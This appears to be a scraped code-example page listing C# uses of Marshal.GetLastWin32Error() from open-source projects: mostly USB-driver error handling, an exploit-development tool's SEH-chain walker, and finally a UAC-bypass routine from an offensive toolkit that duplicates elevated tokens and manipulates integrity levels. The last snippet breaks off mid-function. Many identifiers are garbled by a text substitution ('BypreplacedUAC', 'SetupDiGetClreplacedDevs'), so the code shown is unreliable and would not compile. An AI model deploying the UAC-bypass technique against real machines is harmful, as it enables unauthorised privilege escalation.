System.Runtime.InteropServices.Marshal.GetLastWin32Error()

Here are the examples of the csharp api System.Runtime.InteropServices.Marshal.GetLastWin32Error() taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

1363 Examples 7

19 Source : OverlappedTransferContext.cs
with GNU General Public License v3.0
from ClusterM

public override ErrorCode Submit()
        {
            int iTransferred;
            ErrorCode eReturn = ErrorCode.Success;

            if (mTransferCancelEvent.WaitOne(0, false)) return ErrorCode.IoCancelled;
            if (!mTransferCompleteEvent.WaitOne(0, UsbConstants.EXIT_CONTEXT)) return ErrorCode.ResourceBusy;

            mHasWaitBeenCalled = false;
            mTransferCompleteEvent.Reset();
            Overlapped.ClearAndSetEvent(mTransferCompleteEvent.SafeWaitHandle.DangerousGetHandle());

            int ret = EndpointBase.PipeTransferSubmit(NextBufPtr,
                                                      RequestCount,
                                                      out iTransferred,
                                                      mIsoPacketSize,
                                                      Overlapped.GlobalOverlapped);
            if (ret != 0 && ret != (int) UsbStatusClodes.ErrorIoPending)
            {
                mTransferCompleteEvent.Set();
                UsbError usbErr = UsbError.Error(ErrorCode.Win32Error, Marshal.GetLastWin32Error(), "PipeTransferSubmit", EndpointBase);

                eReturn = usbErr.ErrorCode;
            }
            return eReturn;
        }

19 Source : SetupApi.cs
with GNU General Public License v3.0
from ClusterM

public static bool SetupDiGetDeviceRegistryProperty(out byte[] regBytes,
                                                            IntPtr DeviceInfoSet,
                                                            ref SP_DEVINFO_DATA DeviceInfoData,
                                                            SPDRP Property)
        {
            regBytes = null;
            byte[] tmp = new byte[1024];
            int iReqSize;
            RegistryValueKind regValueType;
            if (!SetupDiGetDeviceRegistryProperty(DeviceInfoSet, ref DeviceInfoData, Property, out regValueType, tmp, tmp.Length, out iReqSize))
            {
                UsbError.Error(ErrorCode.Win32Error, Marshal.GetLastWin32Error(), "SetupDiGetDeviceRegistryProperty", typeof(SetupApi));
                return false;
            }
            regBytes = new byte[iReqSize];
            Array.Copy(tmp, regBytes, regBytes.Length);
            return true;
        }

19 Source : LibUsbDevice.cs
with GNU General Public License v3.0
from ClusterM

public bool SetConfiguration(byte config)
        {
            int uTransferLength;

            UsbSetupPacket setupPkt = new UsbSetupPacket();
            setupPkt.RequestType = (byte)UsbEndpointDirection.EndpointOut | (byte)UsbRequestType.TypeStandard | (byte)UsbRequestRecipient.RecipDevice;
            setupPkt.Request = (byte)UsbStandardRequest.SetConfiguration;
            setupPkt.Value = config;
            setupPkt.Index = 0;
            setupPkt.Length = 0;

            bool bSuccess = ControlTransfer(ref setupPkt, null, 0, out uTransferLength);
            if (bSuccess)
                mCurrentConfigValue = config;
            else
                UsbError.Error(ErrorCode.Win32Error, Marshal.GetLastWin32Error(), "SetConfiguration", this);

            return bSuccess;
        }

19 Source : LibUsbDevice.cs
with GNU General Public License v3.0
from ClusterM

public bool ResetDevice()
        {
            bool bSuccess;
            if (!IsOpen) throw new UsbException(this, "Device is not opened.");
            ActiveEndpoints.Clear();
            
            if ((bSuccess = LibUsbApi.ResetDevice(mUsbHandle))!=true)
            {
                UsbError.Error(ErrorCode.Win32Error, Marshal.GetLastWin32Error(), "ResetDevice Failed", this);
            }
            else
            {
                Close();
            }

            return bSuccess;
        }

19 Source : WinUsbDevice.cs
with GNU General Public License v3.0
from ClusterM

public override bool Open()
        {
            if (IsOpen) return true;

            SafeFileHandle sfhDev;

            bool bSuccess = WinUsbAPI.OpenDevice(out sfhDev, mDevicePath);
            if (bSuccess)
            {
                SafeWinUsbInterfaceHandle handle = new SafeWinUsbInterfaceHandle();
                if ((bSuccess = WinUsbAPI.WinUsb_Initialize(sfhDev, ref handle)))
                {
                    mSafeDevHandle = sfhDev;
                    mUsbHandle = handle;
                    mPowerPolicies = new PowerPolicies(this);
                }
                else
                    UsbError.Error(ErrorCode.Win32Error, Marshal.GetLastWin32Error(), "Open:Initialize", typeof (UsbDevice));
            }
            else
                UsbError.Error(ErrorCode.Win32Error, Marshal.GetLastWin32Error(), "Open", typeof(UsbDevice));


            return bSuccess;
        }

19 Source : WinUsbDevice.cs
with GNU General Public License v3.0
from ClusterM

public static bool Open(string devicePath, out WinUsbDevice usbDevice)
        {
            usbDevice = null;

            SafeFileHandle sfhDev;

            bool bSuccess = WinUsbAPI.OpenDevice(out sfhDev, devicePath);
            if (bSuccess)
            {
                SafeWinUsbInterfaceHandle handle = new SafeWinUsbInterfaceHandle();
                bSuccess = WinUsbAPI.WinUsb_Initialize(sfhDev, ref handle);
                if (bSuccess)
                {
                    usbDevice = new WinUsbDevice(WinUsbApi, sfhDev, handle, devicePath);
                }
                else
                    UsbError.Error(ErrorCode.Win32Error, Marshal.GetLastWin32Error(), "Open:Initialize", typeof(UsbDevice));
            }
            else
                UsbError.Error(ErrorCode.Win32Error, Marshal.GetLastWin32Error(), "Open", typeof(UsbDevice));


            return bSuccess;
        }

19 Source : WinUsbDevice.cs
with GNU General Public License v3.0
from ClusterM

public bool GetreplacedociatedInterface(byte replacedociatedInterfaceIndex, out WinUsbDevice usbDevice)
        {
            usbDevice = null;
            IntPtr pHandle = IntPtr.Zero;
            bool bSuccess = WinUsbAPI.WinUsb_GetreplacedociatedInterface(mUsbHandle, replacedociatedInterfaceIndex, ref pHandle);
            if (bSuccess)
            {
                SafeWinUsbInterfaceHandle tempHandle = new SafeWinUsbInterfaceHandle(pHandle);

                usbDevice = new WinUsbDevice(mUsbApi, null, tempHandle, mDevicePath);
            }
            if (!bSuccess)
                UsbError.Error(ErrorCode.Win32Error, Marshal.GetLastWin32Error(), "GetreplacedociatedInterface", this);

            return bSuccess;
        }

19 Source : WinUsbDevice.cs
with GNU General Public License v3.0
from ClusterM

public bool GetCurrentAlternateSetting(out byte settingNumber)
        {
            bool bSuccess;
            //settingNumber = 0;
            //if (LockDevice() != ErrorCode.None) return false;

            //try
            //{
            bSuccess = WinUsbAPI.WinUsb_GetCurrentAlternateSetting(mUsbHandle, out settingNumber);

            if (!bSuccess)
                UsbError.Error(ErrorCode.Win32Error, Marshal.GetLastWin32Error(), "GetCurrentAlternateSetting", this);
            //}
            //finally
            //{
            //    UnlockDevice();
            //}


            return bSuccess;
        }

19 Source : WinUsbDevice.cs
with GNU General Public License v3.0
from ClusterM

public bool QueryDeviceSpeed(out DeviceSpeedTypes deviceSpeed)
        {
            deviceSpeed = DeviceSpeedTypes.Undefined;
            byte[] buf = new byte[1];
            int uTransferLength = 1;
            bool bSuccess = WinUsbAPI.WinUsb_QueryDeviceInformation(mUsbHandle, DeviceInformationTypes.DeviceSpeed, ref uTransferLength, buf);

            if (bSuccess)
            {
                deviceSpeed = (DeviceSpeedTypes) buf[0];
            }
            else
                UsbError.Error(ErrorCode.Win32Error, Marshal.GetLastWin32Error(), "QueryDeviceInformation:QueryDeviceSpeed", this);

            return bSuccess;
        }

19 Source : WinUsbDevice.cs
with GNU General Public License v3.0
from ClusterM

public bool QueryInterfaceSettings(byte alternateInterfaceNumber, ref UsbInterfaceDescriptor usbAltInterfaceDescriptor)
        {
            bool bSuccess;
            //if (mSemDeviceLock != null)
            //{
            //    if (LockDevice() != ErrorCode.None) return false;
            //}

            //try
            //{
            bSuccess = WinUsbAPI.WinUsb_QueryInterfaceSettings(Handle, alternateInterfaceNumber, usbAltInterfaceDescriptor);
            if (!bSuccess)
                UsbError.Error(ErrorCode.Win32Error, Marshal.GetLastWin32Error(), "QueryInterfaceSettings", this);
            //}
            //finally
            //{
            //    if (mSemDeviceLock != null) UnlockDevice();
            //}

            return bSuccess;
        }

19 Source : WinUsbDevice.cs
with GNU General Public License v3.0
from ClusterM

internal bool GetPowerPolicy(PowerPolicyType policyType, ref int valueLength, IntPtr pBuffer)
        {
            bool bSuccess = WinUsbAPI.WinUsb_GetPowerPolicy(mUsbHandle, policyType, ref valueLength, pBuffer);

            if (!bSuccess)
                UsbError.Error(ErrorCode.Win32Error, Marshal.GetLastWin32Error(), "GetPowerPolicy", this);

            return bSuccess;
        }

19 Source : WinUsbDevice.cs
with GNU General Public License v3.0
from ClusterM

internal bool SetPowerPolicy(PowerPolicyType policyType, int valueLength, IntPtr pBuffer)
        {
            bool bSuccess = WinUsbAPI.WinUsb_SetPowerPolicy(mUsbHandle, policyType, valueLength, pBuffer);

            if (!bSuccess)
                UsbError.Error(ErrorCode.Win32Error, Marshal.GetLastWin32Error(), "SetPowerPolicy", this);

            return bSuccess;
        }

19 Source : WinUsbRegistry.cs
with GNU General Public License v3.0
from ClusterM

public static bool GetDevicePathList(Guid deviceInterfaceGuid, out List<String> devicePathList)
        {
            devicePathList = new List<string>();
            int devicePathIndex = 0;
            SetupApi.SP_DEVICE_INTERFACE_DATA interfaceData = SetupApi.SP_DEVICE_INTERFACE_DATA.Empty;
            SetupApi.DeviceInterfaceDetailHelper detailHelper;

            IntPtr deviceInfo = SetupApi.SetupDiGetClreplacedDevs(ref deviceInterfaceGuid, null, IntPtr.Zero, SetupApi.DICFG.PRESENT | SetupApi.DICFG.DEVICEINTERFACE);
            if (deviceInfo != IntPtr.Zero)
            {
                while ((SetupApi.SetupDiEnumDeviceInterfaces(deviceInfo, null, ref deviceInterfaceGuid, devicePathIndex, ref interfaceData)))
                {
                    int length = 1024;
                    detailHelper = new SetupApi.DeviceInterfaceDetailHelper(length);
                    bool bResult = SetupApi.SetupDiGetDeviceInterfaceDetail(deviceInfo, ref interfaceData, detailHelper.Handle, length, out length, null);
                    if (bResult) devicePathList.Add(detailHelper.DevicePath);

                    devicePathIndex++;
                }
            }
            if (devicePathIndex == 0)
                UsbError.Error(ErrorCode.Win32Error, Marshal.GetLastWin32Error(), "GetDevicePathList", typeof(SetupApi));

            if (deviceInfo != IntPtr.Zero)
                SetupApi.SetupDiDestroyDeviceInfoList(deviceInfo);

            return (devicePathIndex > 0);
        }

19 Source : WinUsbRegistry.cs
with GNU General Public License v3.0
from ClusterM

public static bool GetWinUsbRegistryList(Guid deviceInterfaceGuid, out List<WinUsbRegistry> deviceRegistryList)
        {
            deviceRegistryList = new List<WinUsbRegistry>();

            int devicePathIndex = 0;
            SetupApi.SP_DEVICE_INTERFACE_DATA interfaceData = SetupApi.SP_DEVICE_INTERFACE_DATA.Empty;
            SetupApi.DeviceInterfaceDetailHelper detailHelper;

            SetupApi.SP_DEVINFO_DATA devInfoData = SetupApi.SP_DEVINFO_DATA.Empty;

            // [1]
            IntPtr deviceInfo = SetupApi.SetupDiGetClreplacedDevs(ref deviceInterfaceGuid, null, IntPtr.Zero, SetupApi.DICFG.PRESENT | SetupApi.DICFG.DEVICEINTERFACE);
            if (deviceInfo != IntPtr.Zero)
            {
                while ((SetupApi.SetupDiEnumDeviceInterfaces(deviceInfo, null, ref deviceInterfaceGuid, devicePathIndex, ref interfaceData)))
                {
                    int length = 1024;
                    detailHelper = new SetupApi.DeviceInterfaceDetailHelper(length);
                    bool bResult = SetupApi.SetupDiGetDeviceInterfaceDetail(deviceInfo, ref interfaceData, detailHelper.Handle, length, out length, ref devInfoData);
                    if (bResult)
                    {
                        WinUsbRegistry regInfo = new WinUsbRegistry();

                        SetupApi.getSPDRPProperties(deviceInfo, ref devInfoData, regInfo.mDeviceProperties);

                        // Use the actual winusb device path for SYMBOLIC_NAME_KEY. This will be used to open the device.
                        regInfo.mDeviceProperties.Add(SYMBOLIC_NAME_KEY, detailHelper.DevicePath);

                        //Debug.WriteLine(detailHelper.DevicePath);

                        regInfo.mDeviceInterfaceGuids = new Guid[] { deviceInterfaceGuid };

                        StringBuilder sbDeviceID=new StringBuilder(1024);
                        if (SetupApi.CM_Get_Device_ID(devInfoData.DevInst,sbDeviceID,sbDeviceID.Capacity,0)==SetupApi.CR.SUCCESS)
                        {
                            regInfo.mDeviceProperties[DEVICE_ID_KEY] = sbDeviceID.ToString();
                        }
                        deviceRegistryList.Add(regInfo);
                    }

                    devicePathIndex++;
                }
            }
            if (devicePathIndex == 0)
                UsbError.Error(ErrorCode.Win32Error, Marshal.GetLastWin32Error(), "GetDevicePathList", typeof(SetupApi));

            if (deviceInfo != IntPtr.Zero)
                SetupApi.SetupDiDestroyDeviceInfoList(deviceInfo);

            return (devicePathIndex > 0);
        }

19 Source : UsbDevice.cs
with GNU General Public License v3.0
from ClusterM

public virtual bool ControlTransfer(ref UsbSetupPacket setupPacket, IntPtr buffer, int bufferLength, out int lengthTransferred)
        {
            bool bSuccess = mUsbApi.ControlTransfer(mUsbHandle, setupPacket, buffer, bufferLength, out lengthTransferred);

            if (!bSuccess)
                UsbError.Error(ErrorCode.Win32Error, Marshal.GetLastWin32Error(), "ControlTransfer", this);

            return bSuccess;
        }

19 Source : UsbDevice.cs
with GNU General Public License v3.0
from ClusterM

public virtual bool GetConfiguration(out byte config)
        {
            config = 0;
            byte[] buf = new byte[1];
            int uTransferLength;

            UsbSetupPacket setupPkt = new UsbSetupPacket();
            setupPkt.RequestType = (byte) UsbEndpointDirection.EndpointIn | (byte) UsbRequestType.TypeStandard |
                                   (byte) UsbRequestRecipient.RecipDevice;
            setupPkt.Request = (byte) UsbStandardRequest.GetConfiguration;
            setupPkt.Value = 0;
            setupPkt.Index = 0;
            setupPkt.Length = 1;

            bool bSuccess = ControlTransfer(ref setupPkt, buf, buf.Length, out uTransferLength);
            if (bSuccess && uTransferLength == 1)
            {
                config = buf[0];
                mCurrentConfigValue = config;
                return true;
            }
            UsbError.Error(ErrorCode.Win32Error, Marshal.GetLastWin32Error(), "GetConfiguration", this);
            return false;
        }

19 Source : UsbDevice.cs
with GNU General Public License v3.0
from ClusterM

public virtual bool GetDescriptor(byte descriptorType, byte index, short langId, IntPtr buffer, int bufferLength, out int transferLength)
        {
            transferLength = 0;

            bool wasOpen = IsOpen;
            if (!wasOpen) Open();
            if (!IsOpen) return false;

            bool bSuccess = mUsbApi.GetDescriptor(mUsbHandle, descriptorType, index, (ushort) langId, buffer, bufferLength, out transferLength);

            if (!bSuccess)
                UsbError.Error(ErrorCode.Win32Error, Marshal.GetLastWin32Error(), "GetDescriptor", this);

            if (!wasOpen && IsOpen) Close();

            return bSuccess;
        }

19 Source : UsbDevice.cs
with GNU General Public License v3.0
from ClusterM

public bool GetLangIDs(out short[] langIDs)
        {
            LangStringDescriptor sd = new LangStringDescriptor(UsbDescriptor.Size + (16*sizeof (short)));

            int ret;
            bool bSuccess = GetDescriptor((byte) DescriptorType.String, 0, 0, sd.Ptr, sd.MaxSize, out ret);
            if (bSuccess && ret == sd.Length)
            {
                bSuccess = sd.Get(out langIDs);
            }
            else
            {
                langIDs = new short[0];
                UsbError.Error(ErrorCode.Win32Error, Marshal.GetLastWin32Error(), "GetLangIDs", this);
            }
            sd.Free();
            return bSuccess;
        }

19 Source : UsbDevice.cs
with GNU General Public License v3.0
from ClusterM

public bool GetString(out string stringData, short langId, byte stringIndex)
        {
            stringData = null;
            int iTransferLength;
            LangStringDescriptor sd = new LangStringDescriptor(255);
            bool bSuccess = GetDescriptor((byte) DescriptorType.String, stringIndex, langId, sd.Ptr, sd.MaxSize, out iTransferLength);

            if (bSuccess && iTransferLength > UsbDescriptor.Size && sd.Length == iTransferLength)
                bSuccess = sd.Get(out stringData);
            else if (!bSuccess)
                UsbError.Error(ErrorCode.Win32Error, Marshal.GetLastWin32Error(), "GetString:GetDescriptor", this);
            else
                stringData = String.Empty;

            return bSuccess;
        }

19 Source : LibUsbDevice.cs
with GNU General Public License v3.0
from ClusterM

public override bool Open()
        {
            if (IsOpen) return true;

            mUsbHandle = LibUsbDriverIO.OpenDevice(mDeviceFilename);
            if (!IsOpen)
            {
                UsbError.Error(ErrorCode.Win32Error,Marshal.GetLastWin32Error(), "LibUsbDevice.Open Failed", this);
                return false;
            }
            return true;
        }

19 Source : UsbEndpointBase.cs
with GNU General Public License v3.0
from ClusterM

public virtual bool Flush()
        {
            if (mIsDisposed) throw new ObjectDisposedException(GetType().Name);

            bool bSuccess = mUsbApi.FlushPipe(mUsbHandle, EpNum);

            if (!bSuccess) UsbError.Error(ErrorCode.Win32Error, Marshal.GetLastWin32Error(), "FlushPipe", this);

            return bSuccess;
        }

19 Source : UsbEndpointBase.cs
with GNU General Public License v3.0
from ClusterM

public virtual bool Reset()
        {
            if (mIsDisposed) throw new ObjectDisposedException(GetType().Name);

            bool bSuccess = mUsbApi.ResetPipe(mUsbHandle, EpNum);

            if (!bSuccess) UsbError.Error(ErrorCode.Win32Error, Marshal.GetLastWin32Error(), "ResetPipe", this);

            return bSuccess;
        }

19 Source : UsbEndpointBase.cs
with GNU General Public License v3.0
from ClusterM

private int WritePipe(IntPtr pBuffer, int bufferLength, out int lengthTransferred, int isoPacketSize, IntPtr pOverlapped)
        {
            bool bSuccess = mUsbApi.WritePipe(this, pBuffer, bufferLength, out lengthTransferred, isoPacketSize, pOverlapped);
            if (!bSuccess) return Marshal.GetLastWin32Error();
            return 0;
        }

19 Source : MonoUsbDevice.cs
with GNU General Public License v3.0
from ClusterM

private static ErrorCode GetConfigs(MonoUsbDevice usbDevice, out List<UsbConfigInfo> configInfoListRtn)
        {
            configInfoListRtn = new List<UsbConfigInfo>();
            UsbError usbError = null;
            List<MonoUsbConfigDescriptor> configList = new List<MonoUsbConfigDescriptor>();
            int iConfigs = usbDevice.Info.Descriptor.ConfigurationCount;

            for (int iConfig = 0; iConfig < iConfigs; iConfig++)
            {
                MonoUsbConfigHandle nextConfigHandle;
                int ret = MonoUsbApi.GetConfigDescriptor(usbDevice.mMonoUSBProfile.ProfileHandle, (byte) iConfig, out nextConfigHandle);
                Debug.Print("GetConfigDescriptor:{0}", ret);
                if (ret != 0 || nextConfigHandle.IsInvalid)
                {
                    usbError = UsbError.Error(ErrorCode.MonoApiError,
                                              ret,
                                              String.Format("GetConfigDescriptor Failed at index:{0}", iConfig),
                                              usbDevice);
                    return usbError.ErrorCode;
                }
                try
                {
                    MonoUsbConfigDescriptor nextConfig = new MonoUsbConfigDescriptor();
                    Marshal.PtrToStructure(nextConfigHandle.DangerousGetHandle(), nextConfig);

                    UsbConfigInfo nextConfigInfo = new UsbConfigInfo(usbDevice, nextConfig);
                    configInfoListRtn.Add(nextConfigInfo);
                }
                catch (Exception ex)
                {
                    UsbError.Error(ErrorCode.InvalidConfig, Marshal.GetLastWin32Error(), ex.ToString(), usbDevice);
                }
                finally
                {
                    if (!nextConfigHandle.IsInvalid)
                        nextConfigHandle.Close();
                }
            }

            return ErrorCode.Success;
        }

19 Source : PipePolicies.cs
with GNU General Public License v3.0
from ClusterM

internal bool SetPipePolicy(PipePolicyType policyType, int valueLength, IntPtr pBuffer)
        {
            bool bSuccess = WinUsbAPI.WinUsb_SetPipePolicy(mUsbHandle, mEpNum, policyType, valueLength, pBuffer);

            if (!bSuccess) UsbError.Error(ErrorCode.Win32Error, Marshal.GetLastWin32Error(), "SetPipePolicy", this);

            return bSuccess;
        }

19 Source : Thread_Info.cs
with MIT License
from Coalfire-Research

public ErcResult<string> Get_Context()
        {
            ErcResult<string> result = new ErcResult<string>(ThreadCore);
            
            if(X64 == MachineType.x64)
            {
                Context64 = new CONTEXT64();
                Context64.ContextFlags = CONTEXT_FLAGS.CONTEXT_ALL;
                try
                {
                    bool returnVar = ErcCore.GetThreadContext64(ThreadHandle, ref Context64);
                    if(returnVar == false)
                    {
                        throw new ERCException("Win32 Exception encountered when attempting to get thread context" + 
                            new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    }
                }
                catch (ERCException e)
                {
                    result.Error = e;
                    result.LogEvent();
                    return result;
                }
                catch(Exception e)
                {
                    result.Error = e;
                    result.LogEvent(e);
                }
            }
            else if(Environment.Is64BitOperatingSystem == true && X64 != MachineType.x64)
            {
                Context32 = new CONTEXT32();
                Context32.ContextFlags = CONTEXT_FLAGS.CONTEXT_ALL;
                try
                {
                    bool returnVar = ErcCore.Wow64GetThreadContext(ThreadHandle, ref Context32);
                    if (returnVar == false)
                    {
                        throw new ERCException("Win32 Exception encountered when attempting to get thread context" +
                            new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    }
                }
                catch (ERCException e)
                {
                    result.Error = e;
                    result.LogEvent();
                    return result;
                }
                catch (Exception e)
                {
                    result.Error = e;
                    result.LogEvent(e);
                }
            }
            else
            {
                Context32 = new CONTEXT32();
                Context32.ContextFlags = CONTEXT_FLAGS.CONTEXT_ALL;
                try
                {
                    bool returnVar = ErcCore.GetThreadContext32(ThreadHandle, ref Context32);
                    if (returnVar == false)
                    {
                        throw new ERCException("Win32 Exception encountered when attempting to get thread context: " +
                            new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    }
                }
                catch (ERCException e)
                {
                    result.Error = e;
                    result.LogEvent();
                    return result;
                }
                catch (Exception e)
                {
                    result.Error = e;
                    result.LogEvent(e);
                }
            }
            return result;
        }

19 Source : Thread_Info.cs
with MIT License
from Coalfire-Research

internal ErcResult<List<byte[]>> BuildSehChain()
        {
            ErcResult<List<byte[]>> sehList = new ErcResult<List<byte[]>>(ThreadCore);
            sehList.ReturnValue = new List<byte[]>();

            if (Teb.Equals(default(TEB)))
            {
                sehList.Error = new Exception("Error: TEB structure for this thread has not yet been populated. Call PopulateTEB first");
                return sehList;
            }

            if(Teb.CurrentSehFrame == IntPtr.Zero)
            {
                sehList.Error = new Exception("Error: No SEH chain has been generated yet. An SEH chain will not be generated until a crash occurs.");
                return sehList;
            }

            byte[] sehEntry;
            byte[] sehFinal;

            int arraySize = 0;
            if(X64 == MachineType.x64)
            {
                arraySize = 8;
                sehEntry = new byte[arraySize];
                sehFinal = new byte[arraySize];
                sehEntry = BitConverter.GetBytes((long)Teb.CurrentSehFrame);
            }
            else
            {
                arraySize = 4;
                sehEntry = new byte[arraySize];
                sehFinal = new byte[arraySize];
                sehEntry = BitConverter.GetBytes((int)Teb.CurrentSehFrame);
            }
            
            for (int i = 0; i < sehFinal.Length; i++)
            {
                sehFinal[i] = 0xFF;
            }

            byte[] prevSEH = new byte[] { 0xFF };
            string pattern_standard = File.ReadAllText(ThreadCore.PatternStandardPath);
            string pattern_extended = File.ReadAllText(ThreadCore.PatternExtendedPath);
            while (!sehEntry.SequenceEqual(sehFinal))
            {
                byte[] reversedSehEntry = new byte[arraySize];
                
                int ret = 0;

                if(X64 == MachineType.x64)
                {
                    ret = ErcCore.ReadProcessMemory(ThreadProcess.ProcessHandle, (IntPtr)BitConverter.ToInt64(sehEntry, 0), sehEntry, arraySize, out int retInt);
                }
                else
                {
                    ret = ErcCore.ReadProcessMemory(ThreadProcess.ProcessHandle, (IntPtr)BitConverter.ToInt32(sehEntry, 0), sehEntry, arraySize, out int retInt);
                }


                if(ret != 0 && ret != 1)
                {
                    ERCException e = new ERCException("System error: An error occured when executing ReadProcessMemory\n Process Handle = 0x"
                    + ThreadProcess.ProcessHandle.ToString("X") + " TEB Current Seh = 0x" + Teb.CurrentSehFrame.ToString("X") +
                    " Return value = " + ret + Environment.NewLine + "Win32Exception: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    sehList.Error = e;
                    sehList.LogEvent();
                    return sehList;
                }

                for(int i = 0; i < sehEntry.Length; i++)
                {
                    reversedSehEntry[i] = sehEntry[i];
                }

                Array.Reverse(reversedSehEntry, 0, reversedSehEntry.Length);
                if (prevSEH.SequenceEqual(reversedSehEntry))
                {
                    sehEntry = new byte[sehFinal.Length];
                    Array.Copy(sehFinal, 0, sehEntry, 0, sehFinal.Length);
                }
                else if (!sehEntry.SequenceEqual(sehFinal) && !sehList.ReturnValue.Contains(reversedSehEntry))
                {
                    sehList.ReturnValue.Add(reversedSehEntry);
                }

                if (pattern_standard.Contains(Encoding.Unicode.GetString(reversedSehEntry)) ||
                    pattern_extended.Contains(Encoding.Unicode.GetString(reversedSehEntry)))
                {
                    sehEntry = new byte[sehFinal.Length];
                    Array.Copy(sehFinal, 0, sehEntry, 0, sehFinal.Length);
                }

                if (pattern_standard.Contains(Encoding.ASCII.GetString(reversedSehEntry)) ||
                    pattern_extended.Contains(Encoding.ASCII.GetString(reversedSehEntry)))
                {
                    sehEntry = new byte[sehFinal.Length];
                    Array.Copy(sehFinal, 0, sehEntry, 0, sehFinal.Length);
                }

                if (pattern_standard.Contains(Encoding.UTF32.GetString(reversedSehEntry)) ||
                    pattern_extended.Contains(Encoding.UTF32.GetString(reversedSehEntry)))
                {
                    sehEntry = new byte[sehFinal.Length];
                    Array.Copy(sehFinal, 0, sehEntry, 0, sehFinal.Length);
                }

                if (pattern_standard.Contains(Encoding.UTF7.GetString(reversedSehEntry)) ||
                    pattern_extended.Contains(Encoding.UTF7.GetString(reversedSehEntry)))
                {
                    sehEntry = new byte[sehFinal.Length];
                    Array.Copy(sehFinal, 0, sehEntry, 0, sehFinal.Length);
                }

                if (pattern_standard.Contains(Encoding.UTF8.GetString(reversedSehEntry)) ||
                    pattern_extended.Contains(Encoding.UTF8.GetString(reversedSehEntry)))
                {
                    sehEntry = new byte[sehFinal.Length];
                    Array.Copy(sehFinal, 0, sehEntry, 0, sehFinal.Length);
                }

                prevSEH = new byte[reversedSehEntry.Length];
                Array.Copy(reversedSehEntry, 0, prevSEH, 0, reversedSehEntry.Length);
            }

            SehChain = new List<byte[]>(sehList.ReturnValue.ToList());
            return sehList;
        }

19 Source : Tokens.cs
with BSD 3-Clause "New" or "Revised" License
from cobbr

public bool BypreplacedUAC(string Binary = "cmd.exe", string Arguments = "", string Path = "C:\\WINDOWS\\System32\\", int ProcessId = 0)
        {
            string Username = WindowsIdenreplacedy.GetCurrent().Name;
            List<Process> processes = ProcessId == 0 ?
                                        this.GetUserProcessTokens(true).Select(UPT => UPT.Process).ToList() :
                                        new List<Process> { Process.GetProcessById(ProcessId) };
            Console.WriteLine("Elevated processes: " + processes.Count);
            foreach (Process process in processes)
            {
                // Get PrimaryToken
                IntPtr hProcess = Win32.Kernel32.OpenProcess(Win32.Kernel32.ProcessAccessFlags.PROCESS_QUERY_LIMITED_INFORMATION, false, (UInt32)process.Id);
                if (hProcess == IntPtr.Zero)
                {
                    Console.Error.WriteLine("OpenProcess() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    continue;
                }
                this.OpenHandles.Add(hProcess);

                IntPtr hProcessToken = IntPtr.Zero;
                if (!Win32.Kernel32.OpenProcessToken(hProcess, (UInt32)Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, out hProcessToken))
                {
                    Console.Error.WriteLine("OpenProcessToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    continue;
                }
                this.OpenHandles.Add(hProcessToken);
                this.CloseHandle(hProcess);

                Win32.WinBase._SECURITY_ATTRIBUTES securityAttributes = new Win32.WinBase._SECURITY_ATTRIBUTES();
                IntPtr hDuplicateToken = IntPtr.Zero;
                if (!Win32.Advapi32.DuplicateTokenEx(
                       hProcessToken,
                       (UInt32)Win32.Advapi32.TOKEN_ALL_ACCESS,
                       ref securityAttributes,
                       Win32.WinNT._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
                       Win32.WinNT.TOKEN_TYPE.TokenPrimary,
                       out hDuplicateToken)
                   )
                {
                    Console.Error.WriteLine("DuplicateTokenEx() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    continue;
                }
                this.OpenHandles.Add(hDuplicateToken);
                this.CloseHandle(hProcessToken);

                // SetTokenInformation
                Win32.WinNT._SID_IDENTIFIER_AUTHORITY pIdentifierAuthority = new Win32.WinNT._SID_IDENTIFIER_AUTHORITY();
                pIdentifierAuthority.Value = new byte[] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x10 };
                byte nSubAuthorityCount = 1;
                IntPtr pSid = new IntPtr();
                if (!Win32.Advapi32.AllocateAndInitializeSid(ref pIdentifierAuthority, nSubAuthorityCount, 0x2000, 0, 0, 0, 0, 0, 0, 0, out pSid))
                {
                    Console.Error.WriteLine("AllocateAndInitializeSid() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    continue;
                }

                Win32.WinNT._SID_AND_ATTRIBUTES sidAndAttributes = new Win32.WinNT._SID_AND_ATTRIBUTES();
                sidAndAttributes.Sid = pSid;
                sidAndAttributes.Attributes = Win32.WinNT.SE_GROUP_INTEGRITY_32;

                Win32.WinNT._TOKEN_MANDATORY_LABEL tokenMandatoryLevel = new Win32.WinNT._TOKEN_MANDATORY_LABEL();
                tokenMandatoryLevel.Label = sidAndAttributes;
                Int32 tokenMandatoryLabelSize = Marshal.SizeOf(tokenMandatoryLevel);

                if (Win32.NtDll.NtSetInformationToken(hDuplicateToken, 25, ref tokenMandatoryLevel, tokenMandatoryLabelSize) != 0)
                {
                    Console.Error.WriteLine("NtSetInformationToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    continue;
                }

                IntPtr hFilteredToken = IntPtr.Zero;
                if (Win32.NtDll.NtFilterToken(hDuplicateToken, 4, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref hFilteredToken) != 0)
                {
                    Console.Error.WriteLine("NtFilterToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    continue;
                }
                this.OpenHandles.Add(hFilteredToken);
                this.CloseHandle(hDuplicateToken);

                // ImpersonateUser
                Win32.WinBase._SECURITY_ATTRIBUTES securityAttributes2 = new Win32.WinBase._SECURITY_ATTRIBUTES();
                IntPtr hDuplicateToken2 = IntPtr.Zero;
                if (!Win32.Advapi32.DuplicateTokenEx(
                       hFilteredToken,
                       (UInt32)(Win32.Advapi32.TOKEN_IMPERSONATE | Win32.Advapi32.TOKEN_QUERY),
                       ref securityAttributes2,
                       Win32.WinNT._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
                       Win32.WinNT.TOKEN_TYPE.TokenImpersonation,
                       out hDuplicateToken2)
                   )
                {
